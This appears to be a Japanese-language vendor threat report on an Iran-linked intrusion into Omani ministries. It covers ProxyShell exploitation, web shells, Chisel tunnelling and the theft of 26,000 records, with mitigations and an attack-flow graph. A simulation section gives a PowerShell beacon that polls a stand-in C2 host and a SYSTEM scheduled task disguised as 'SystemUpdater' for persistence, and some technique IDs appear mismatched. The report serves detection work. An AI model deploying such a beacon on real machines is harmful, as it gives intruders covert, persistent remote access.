イラン連携の攻撃によりオマーンで26,000の市民記録が漏洩

Ruslan Mikhalov SOC Primeの脅威リサーチ責任者

フォローする

Detection stack

AIDR
Alert
ETL
Query

脅威レポート
攻撃フロー
検出
シミュレーション

概要

国家に関連したイランの脅威アクターが、ウェブシェル、ProxyShellの脆弱性を利用した攻撃、およびUAEに基づくVPS上にホストされたカスタムコマンド・アンド・コントロール環境を使用して、オマーンの複数の政府省庁に対する攻撃を行いました。攻撃者は26,000以上のユーザ記録とレジストリのハイブを流出させた後、ChiselやGodPotatoを含む後の侵害攻撃ツールを展開してアクセスを深めました。この作戦は、攻撃者のツール、スクリプト、およびC2ログを意図せずに明らかにするオープンディレクトリによってさらに露出しました。それにより、侵入の全ライフサイクルが可視化されました。

調査

研究者は以下の公開されたVPSにアクセスしました 172.86.76.127 そして、ウェブシェル、Pythonベースのコマンド・アンド・コントロールスクリプト、特権昇格ツール、ProxyShellおよびDNN SSRF脆弱性を狙う複数のエクスプロイトスクリプトを特定しました。ネットワークログにはポート 8001 and 8002でのビーコニング活動が示されており、秘密裏にアクセスするためにChiselトンネルも使用されていました。調査では、スケジュールされたタスクの作成、レジストリハイブの抽出、侵害されたシステムからの大規模なデータダンピングも文書化されました。

緩和策

組織は、Microsoft Exchangeに関連するProxyShellのすべてのパッチを適用し、 CVE-2025-32372として追跡されるDNN SSRF問題を修正するべきです。Webアプリケーションは強化され、IISアカウントは最小特権で実行されるべきであり、未使用の ASP.NET ページは可能な限り無効にするべきです。防御者はまた、Webアプリケーションファイアウォールを配備し、異常なポートでのアウトバウンドトラフィックを監視し、インターネットに接続されているサーバーを定期的に点検して、放置されたり公開されたディレクトリを確認するべきです。

対応

セキュリティチームはウェブシェルアクセスパターン、PowerShellビーコニングの動作、Chiselトンネル活動、および疑わしいスケジュールタスクの作成を検出するための検出を行うべきです。インシデント対応者はウェブサーバーログ、レジストリハイブ、および法医学分析のためのデータベースダンプを収集するべきです。影響を受けたシステムは隔離され、資格情報は回転され、オマーンの関連当局または関係者に遅滞なく通知されるべきです。

"graph TB %% Class Definitions Section classDef technique fill:#c2e0ff classDef tool fill:#cccccc %% Node Definitions u2013 Techniques initial_access["Technique – T1190 Exploit Public-Facing Application Method: ProxyShell & DNN SSRF"] class initial_access technique remote_services["Technique – T1210 Exploitation of Remote Services Lateral movement"] class remote_services technique web_shell["Technique – T1505.003 Web Shell Deployed: hc2.aspx / health_check_t.aspx"] class web_shell technique c2_bidir["Technique – T1102.002 Web Service Bidirectional Communication HTTP C2 server"] class c2_bidir technique tunneling["Technique – T1572 Protocol Tunneling & T1219.001 IDE Tunneling Tool: Chisel"] class tunneling technique weaken_enc["Technique – T1600 Weaken Encryption Applied to tunnel"] class weaken_enc technique priv_esc["Technique – T1134.003 Access Token Manipulation & T1068 Exploitation for Privilege Escalation Tool: GodPotato"] class priv_esc technique account_manip["Technique – T1098 Account Manipulation Maintain elevated rights"] class account_manip technique cred_access["Technique – T1012 Query Registry Steal SAM/System hives"] class cred_access technique def_evasion["Technique – T1562 Impair Defenses & T1668 Exclusive Control Disable AV"] class def_evasion technique discovery["Technique – T1592.002 Gather Victim Host Info & T1590.001 Network Domain Properties"] class discovery technique exfiltration["Technique – T1041 Exfiltration Over C2 Channel & T1030 Data Transfer Size Limits"] class exfiltration technique oneway["Technique – T1102.003 One-Way Web Service Communication Result posting"] class oneway technique %% Node Definitions u2013 Tools / Malware tool_proxyshell["Tool – Name: ProxyShell Purpose: Exploit Exchange Server"] class tool_proxyshell tool tool_chisel["Tool – Name: Chisel Purpose: Tunneling"] class tool_chisel tool tool_godpotato["Tool – Name: GodPotato Purpose: Privilege escalation"] class tool_godpotato tool %% Connections u2013 Attack Flow initial_access –>|leads_to| remote_services initial_access –>|uses| tool_proxyshell remote_services –>|leads_to| web_shell web_shell –>|enables| c2_bidir c2_bidir –>|uses| tunneling tunneling –>|uses| tool_chisel tunneling –>|enables| weaken_enc weaken_enc –>|enables| priv_esc priv_esc –>|uses| tool_godpotato priv_esc –>|enables| account_manip account_manip –>|enables| cred_access cred_access –>|enables| def_evasion def_evasion –>|enables| discovery discovery –>|enables| exfiltration exfiltration –>|uses| oneway "

攻撃フロー

攻撃の解説とコマンド：
攻撃者は既に被害者のマシンへの足場を得ており、低ノイズのC2ビーコンを確立しようとしています。彼らはPowerShellスクリプト new_beacon.ps1 をユーザーのAppDataフォルダにドロップします。このスクリプトは無限ループで動作し、30秒ごとにリモートC2をポーリングします。各HTTPリクエストはChromeのUA文字列で作成され、通常のウェブトラフィックに溶け込み、ネットワークベースの検出を回避します（T1217、T1674）。攻撃者は、定期的なタスクを用いてビーコンを開始し、持続性を確保します（T1204.004）。

回帰テストスクリプト：

# -------------------------------------------------
# 新しいビーコンPowerShellビーコンをデプロイして開始する
# -------------------------------------------------
$beaconPath = "$env:APPDATAnew_beacon.ps1"
$c2Url = "http://malicious.example.com/beacon"

# 1. ビーコンスクリプトを書き込む（シミュレートされた軽量バージョン）
$scriptContent = @'
while ($true) {
    $headers = @{
        "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36"
    }
    try {
        Invoke-WebRequest -Uri "$using:c2Url" -Headers $headers -Method GET -TimeoutSec 10 | Out-Null
    } catch {}
    Start-Sleep -Seconds 30
}
'@
Set-Content -Path $beaconPath -Value $scriptContent -Encoding UTF8

# 2. 持続性のためのスケジュールされたタスクを登録する（毎分実行）
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -ExecutionPolicy Bypass -File `"$beaconPath`""
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration ([TimeSpan]::MaxValue)
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
Register-ScheduledTask -TaskName "SystemUpdater" -Action $action -Trigger $trigger -Principal $principal -Force

Write-Host "ビーコンがデプロイされ、スケジュールされたタスクが作成されました。"

クリーンアップコマンド：

# -------------------------------------------------
# ビーコンとスケジュールされたタスクを削除する
# -------------------------------------------------
$beaconPath = "$env:APPDATAnew_beacon.ps1"
Unregister-ScheduledTask -TaskName "SystemUpdater" -Confirm:$false
Remove-Item -Path $beaconPath -Force -ErrorAction SilentlyContinue
Write-Host "クリーンアップが完了しました。"

SOC PrimeのDetection as Codeプラットフォームに参加し ビジネスに最も関連性のある脅威に対する可視性を向上させましょう。開始して即座に価値をもたらすためには、今すぐSOC Primeの専門家とのミーティングを予約してください。

無料で参加